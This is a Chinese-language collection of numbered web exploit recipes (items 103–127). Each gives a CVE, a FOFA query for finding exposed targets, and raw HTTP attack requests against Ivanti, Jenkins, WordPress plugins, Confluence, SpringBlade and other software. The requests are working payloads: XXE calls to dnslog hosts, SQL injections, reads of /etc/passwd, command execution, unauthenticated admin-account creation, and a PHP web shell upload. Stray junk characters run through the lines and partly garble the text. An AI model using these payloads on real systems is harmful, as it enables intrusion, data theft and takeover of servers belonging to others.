<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
# T/ J  E+ T( C6 _$ ]" _CVE-2024-22024
; Z' l- t- d0 j5 E' |7 V! R) f0 q% `FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
# ~) T  T3 K9 u; tHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
: z  @2 K$ h7 R* T% {3 J% a- P1 o! WContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

) _0 ]9 u+ U  U/ ]0 y
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


3 E2 t9 m4 g0 P% \9 p3 L104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
9 U  d4 _* x+ }0 ~/ RHost:192.168.0.1
Content-Length:41
1 ~( `5 N+ H( r% TAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
8 R2 h- S, P" D' B8 Q+ R% ~Accept-Encoding:gzip,deflate
" ^9 ?9 U3 P2 F7 |- f* B$ rAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
8 n$ D% q2 J# b9 S# {1 i
{
, c9 \7 s( X3 u, a; y"topicurl":"getSysStatusCfg",
$ e( t4 e. k1 k1 l, o2 ]"token":""
}

/ x' |4 G9 ^; r7 i  s: G+ f% P3 U105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
1 z6 u5 x/ l1 ?. ]* {http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

5 M: h& K/ O! |2 ]4 y106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
5 A5 ]  Y" Y" M, \. k' n  e! XGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
9 H6 H7 M% c$ [$ X* ~6 PHost: your-ip
; ]0 q9 a' q6 k1 Q6 d% YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 G  F! a+ c# @' ^$ CBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
9 Z0 u3 _! C2 |5 Q2 c. W( W7 fAccept-Language: zh-CN,zh;q=0.9
8 S0 D7 I. g* m: S, }, R1 c. ?2 oConnection: close
; |; }' A7 u$ S# L( Z
% x# }2 n& G9 T4 x- U7 j3 e2 x# n
! t2 X: V+ h/ }107. SpringBlade tenant/list SQL 注入
: G( l0 \: ]- ?6 q7 Q( D- b6 MFOFA：body="https://bladex.vip"
8 U# i9 @  `' W! W, X& v0 DGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
. q2 E5 E& i7 f" L3 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 q  l1 }; C( H$ k7 MBlade-Auth:替换为自己的
+ V' z. ]2 Q& l2 T' O6 m, T$ UConnection: close
# a4 e% Y6 v7 @' i9 k

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
6 \5 r+ k- ]# m+ L6 LHost: your-ip
Accept: application/json, text/plain, */*
9 Z8 m, r4 ^, Q# `; e6 [" o% T0 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

: C" u/ R; Q9 \: q' M* d* h
109. Jenkins CLI 任意文件读取
/ P% I6 b6 ?0 h, lCVE-2024-23897
FOFA：header="X-Jenkins"
7 V7 ?8 z5 l  I; ^POST /cli?remoting=false HTTP/1.1
, R, q; z1 b+ q- c; F8 lHost:
# w5 v- F; }4 TContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
8 @9 }, {1 M( d( B3 }2 _0 BSide: upload
# f( H7 X: X. H( P; RConnection: keep-alive
; k0 }& V5 t3 E. S0 hContent-Length: 163

7 A( u: o: U* ib'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

" b/ _+ E- H1 Y/ d3 q
POST /cli?remoting=false HTTP/1.1
7 `2 H3 n: k" b/ r5 x* J; MHost:
& P# P! ~/ f+ z% C9 f- N6 ?6 mSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
- X, T* @  D) \3 qContent-Type: application/x-www-form-urlencoded
5 E1 p5 c/ V$ J( _7 U0 k  aContent-Length: 0
) x1 T9 M/ _. C1 u, y% r
& s7 O  `8 A! B4 P
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
  h, x: J4 Q3 \5 D0 k COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

; Y( R' S0 b3 Y) n' X5 P+ w
7 ?" M& K3 j5 v. \! ~110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
% }% W( y+ f* a0 x3 q3 ~3 IFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
* E1 B  `8 c: [$ eHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
, F+ R  q. w1 H; @# y2 Y# o7 p" P4 X+ zConnection: close
& |: e/ n2 ^* l6 _+ ~; [  JAccept: */*
Accept-Language: en
5 n" Q3 I! u) ?& a+ H( D5 J4 ]Accept-Encoding: gzip
) b" `+ Y6 E$ z2 n" J' ^
6 |7 s1 e6 _' }/ D; T
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
4 w5 P2 _6 K, o; @& W" {, @$ @FOFA："wordpress" && body="html5-video-player"
4 X: T% ]* c# @: u" ]0 `, fGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
7 p  j/ S" ~5 X

$ N+ F7 |* O2 g! t$ W+ n112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
1 _, L6 x8 p+ WFOFA：body="/wp-content/plugins/notificationx"
3 T2 t7 E$ k3 w& V' b1 p' F  QPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
' c7 j8 |( i+ l! |' T# E) x
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
; {+ q3 j* B( b& C+ q2 G
; F' N, @" n. ?, Q' d% K
0 k$ H- H) s6 O# ?3 n8 v, ?113. WordPress Automatic 插件任意文件下载和SSRF
1 u. ~9 k& P, f4 QCVE-2024-27954
# s; t/ n( d/ d; e3 Z! zFOFA："/wp-content/plugins/wp-automatic"
; c: J2 J9 m2 UGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
6 S( R- _$ q! p, Z+ f5 a" Y; @$ T5 MHost: x.x.x.x
: a; p7 s% g9 ~2 [! YUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
! Q7 G( g( d; @$ N& G8 S: yConnection: close
! V8 u2 G, s+ n  _1 q* JAccept: */*
Accept-Language: en
5 j2 W5 q, Q. g' T: G, VAccept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
! ^1 e4 M( R! k: S. Y/ ]GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
3 d& N; U9 f3 z( X$ |Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
+ X8 l. b, r+ W4 M/ g) `8 WConnection: close
7 v, O+ e7 G( g* H

115. WordPress Bricks Builder <= 1.9.6 RCE
: y; w7 P& Q& iCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
5 D+ X( q1 n/ ]+ c4 Z! v7 t, WConnection: close
Accept-Encoding: gzip

' O: ]# ]/ o9 U: s9 M3 _$ o6 p
* ?* i& y- {1 g4 m7 G& E6 b第二步替换nonce值，执行命令
3 Z' I! [- d# O$ }( m8 Q* WPOST /wp-json/bricks/v1/render_element HTTP/1.1
  y6 W, M+ |9 w# n+ RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
8 k1 Y+ r) Y% c' s" g0 ~Content-Length: 356
Content-Type: application/json
# f+ k4 s) W, a2 JAccept-Encoding: gzip

{
' ]; W& c% x5 t# ^, c"postId": "1",
  "nonce": "第一步获得的值",
6 c: g: L! L0 Y# N% @0 J/ `) m  "element": {
: K% U2 f+ _6 h: e1 V    "name": "container",
    "settings": {
- K3 i' [6 l2 r. `3 `1 M      "hasLoop": "true",
      "query": {
4 G/ m2 P: k, o! v* C        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
  O) @9 v$ X" m% ~" i7 U        "objectType": "post"
1 @: ?+ r/ c- I- b' W' g/ p2 q" ?% O      }
+ [' E; w* X$ o" J    }
  }
: T$ y7 S+ D. j2 ~}


% [$ G5 c# ]4 v' E- R116. wordpress js-support-ticket文件上传
) G$ V( I8 a9 {- k8 J& aFOFA：body="wp-content/plugins/js-support-ticket"
9 T& s  e& G& C& A# y0 p9 v. PPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
7 ~4 M+ Z" I$ _4 R1 o, R$ rContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
  A+ ]  L6 E  J' o1 ~Content-Disposition: form-data; name="form_request"
1 [+ j7 O4 `: o4 S: Ajssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
8 }( ]1 f0 C3 G( H

( T: E1 S  u; {9 j5 @) _/ {117. WordPress LayerSlider插件SQL注入
) a  f2 V0 y( Uversion：7.9.11 – 7.10.0
% ~9 N) C# x3 B* Y+ j. SFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
" i8 o2 L9 X+ j  M& a- uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" Y/ J( r4 v% G& x, _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
& l/ {3 i$ Z: {- _  C' fConnection: close
7 s1 s$ `4 ~+ Q$ a  ?Upgrade-Insecure-Requests: 1


- U$ O+ P2 A/ _' {/ h8 ]4 _$ ]2 t118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
3 b1 H, Y& s6 I4 P6 E$ VCVE-2024-0939
( I) v2 y3 O. W! y0 g" L8 k# cFOFA：title="Smart管理平台"
) [2 G: k, W9 T( |, H4 s0 ^& {POST /Tool/uploadfile.php? HTTP/1.1
) f' C+ y  \: y! CHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
5 ?6 k" Q! v% C2 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
: p" @! j  q6 d, C( n2 n$ f0 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; l7 V3 a. C# B/ x, }2 AAccept-Encoding: gzip, deflate
; o" Z) K. {/ M) |) O% u$ o. HContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
- A* z3 P. v' P# oUpgrade-Insecure-Requests: 1
2 X  k! {- C3 T( b4 g! {$ lSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
- o, p9 @% o: Y: k, ASec-Fetch-Site: same-origin
; u) k" m3 y+ ^# cSec-Fetch-User: ?1
Te: trailers
" I, k+ t7 t  r) p/ x, VConnection: close
( [% n( B9 y) ^% y' g8 F4 Y; P8 b' e
/ f8 C2 ~. ^8 h# U- u-----------------------------13979701222747646634037182887
$ w$ u4 x9 J1 X% {* J) CContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
0 f; h# ]0 h, y: m) r7 [9 b; V-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
9 n4 c9 a7 |0 @+ `! c8 t. O7 j  T7 C
0 e9 L6 P- S/ Q' k, F0 K3 o
访问/home/src.php
5 F, A5 @& g  B; ~- N6 O& W7 _
119. 北京百绰智能S20后台sysmanageajax.php sql注入
' f1 d4 b& B  `# r& yCVE-2024-1254
) x9 J: I' T( l. @' a) d5 ^# {# LFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
0 Z( X' G3 b$ oPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
$ U6 j/ L4 g; N- {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. g( r3 `6 p& Y+ ~% VAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
- \7 X5 {7 _; K# M* h6 dOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
) D, g# ~: x. ]0 b# T' X/ S0 KSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
: i% e9 h, d$ v: aSec-Fetch-Site: same-origin
0 z! Q6 m' \, z" X. nX-Forwarded-For: 1.1.1.1
3 E2 U' Q4 }+ a/ N( yX-Originating-Ip: 1.1.1.1
9 M. q) q/ I3 V, T, ]' BX-Remote-Ip: 1.1.1.1
# X6 V  r( E1 ?# m! D7 NX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
/ H% J& P6 F) P, p4 F
' C9 l. I9 L% }$ _: a  Rsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

+ s4 m7 ]/ x/ w
- M& e- W: l: [9 ~/ A120. 北京百绰智能S40管理平台导入web.php任意文件上传
8 A9 R: n  c) Q/ d8 Y6 eCVE-2024-1253
$ H$ p3 @* R% G; b9 v* y0 zFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
# i* _% a; M9 t0 M& SHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( W; B) f6 e" ]( L& |Accept-Encoding: gzip, deflate
% @, ?/ w. P% Y$ d% K0 hContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
9 N# [+ [+ L% p: Q6 P/ FContent-Length: 597
2 q% d# V7 n, M4 x& `- N0 EOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
% w* U: z& }& F" R! O) K: d2 TUpgrade-Insecure-Requests: 1
7 g% B0 e* s! n4 _1 \: eSec-Fetch-Dest: document
+ U/ T6 t0 P1 ~* A- ZSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
$ r8 d9 x% Y7 a0 f' ZTe: trailers
- m# G9 ~$ I5 L" j' T& [Connection: close
1 d5 Q2 s7 ?$ S1 g" a5 @0 p
5 ^6 {% v- j: _' K6 H0 P+ w! {* @( N-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
7 e6 t% m) j, |$ a4 u# N0 X+ z( u4 KContent-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
8 L" b; @% l0 h, b- O, h4 ^-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
9 g. Z4 _. h6 _+ u; Z2 c-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
/ {9 ?: ~& e, ?% q6 g# n0 u
' x7 g) P) s) S. m, q3 V4 limport
/ H+ O+ J, s" G' i-----------------------------42328904123665875270630079328

! ^6 m. `9 d7 i: S' A4 X
文件路径/upload/2.php
1 X0 Y  g; P" @# v+ [9 m# N3 ?6 {
- W, m( I  i5 t4 h  {& i2 W- L121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
0 ~; q" v+ ^( K, Q" s4 N4 C$ sPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
7 z" q! Z' ^5 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 E2 j3 I6 P8 L: x2 L. u, _0 ]% {Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
0 F& H3 E. y9 j# jOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
7 b; [$ ~; B( CSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
8 e* O( v8 ^0 h5 R/ t# sSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
" M1 C% k6 v+ Q/ O3 T9 n) f! `Content-Disposition: form-data; name="web_img"; filename="1.php"
' O/ m$ G- z; GContent-Type: application/octet-stream
; [+ I( M* e7 p) r: a1 i7 \
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
& h/ X+ G( J; g; A6 @Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
) }' E* a4 R/ M) ^1 I2 BContent-Disposition: form-data; name="1_ck"

1_radhttp
  R/ H: B; w3 F5 e, J. R2 ]-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

set
-----------------------------42328904123665875270630079328

: h) \. Y2 K8 }( Z5 ?& @- c
. N4 G/ S7 \4 p( O2 K, I9 Sboot/web/upload/weblogo/1.php

  `$ P) X1 h' m122. 北京百绰智能s200管理平台/importexport.php sql注入
7 R& y7 b$ m" o; DCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
( p+ K3 k6 {# h# dHost: x.x.x.x
% S% \) X8 d5 Q- f0 BCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 u, A5 {+ e+ I2 h# c) E( @/ Z4 b. MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
, U) V! T; I$ h! a3 U' ~Sec-Fetch-Dest: document
0 U; P* D, {: f6 M3 e$ SSec-Fetch-Mode: navigate
, s5 \; G" E# t' YSec-Fetch-Site: none
; N, L6 n: G6 ^2 {" [- O7 {Sec-Fetch-User: ?1
Te: trailers
Connection: close


123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
3 b" ~: B& V" _& Y9 bPOST /template/aui/text-inline.vm HTTP/1.1
1 f9 d" T- `1 y6 f- lHost: localhost:8090
Accept-Encoding: gzip, deflate, br
% `9 b, d% O( N" P: ^Accept: */*
2 z0 L1 R1 v; S7 T! T0 r* uAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

4 [2 Q4 s0 T! U& g3 V
124. 湖南建研工程质量检测系统任意文件上传
$ O- ]2 F; F" p* x) h+ ?FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
% e8 B% `; }# OAccept-Encoding: gzip, deflate, br
* M/ Z: J/ g  ^" p" O8 [& kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
& ?5 Z' Y2 X, @  g- I/ ?* W
+ x+ C  n5 ?% g% q7 m9 EfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
0 }4 @3 x7 `/ D+ c) a% }
$ {; z! w& t3 J- ]9 Q/ n
( w0 G0 A6 B! E6 `; s, Fhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
" V) z+ r; k  k( A! b
% ^! ?% }$ c' k" F" E/ O- o125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
1 u* h# n7 d3 D& w% ]- p( [# b/ Khttps://github.com/watchtowrlabs ... bypass-add-user-poc
6 H* |) E- l; C% `# c

使用方法
  u1 _0 A+ x+ z* }python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


; r6 m3 w6 w% {  b" v. M创建好用户后直接登录后台，可以执行系统命令。

% Q+ J8 d- Z( e1 x1 K126. Aiohttp 路径遍历
6 |0 b  B5 I! G0 XFOFA：title=="ComfyUI"
2 i. h1 s2 \8 m; o+ \6 G! lGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
2 y5 O7 \$ |0 Q+ H7 e7 JConnection: close
Accept: */*
, M/ L* x! M" a9 H4 O' A7 w% z2 d8 jAccept-Language: en
- A9 w* P7 y( y8 @  ]Accept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
! U* g* D' m6 s* t! d) nPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
+ ?  b, z' \: ~2 GHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
. V) m; M! w) P+ @) S- GContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 I5 M1 w* ~: j- VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 R8 Y; e/ X+ X  aContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
& @7 F: p! r& O! kSec-Purpose: prefetch;prerender

& B+ X+ T1 h1 ?6 `------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
9 v$ C) n4 F* r9 }5 Z4 [4 d+ v7 _
BIM
1 Z5 s5 w2 O! T" c------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
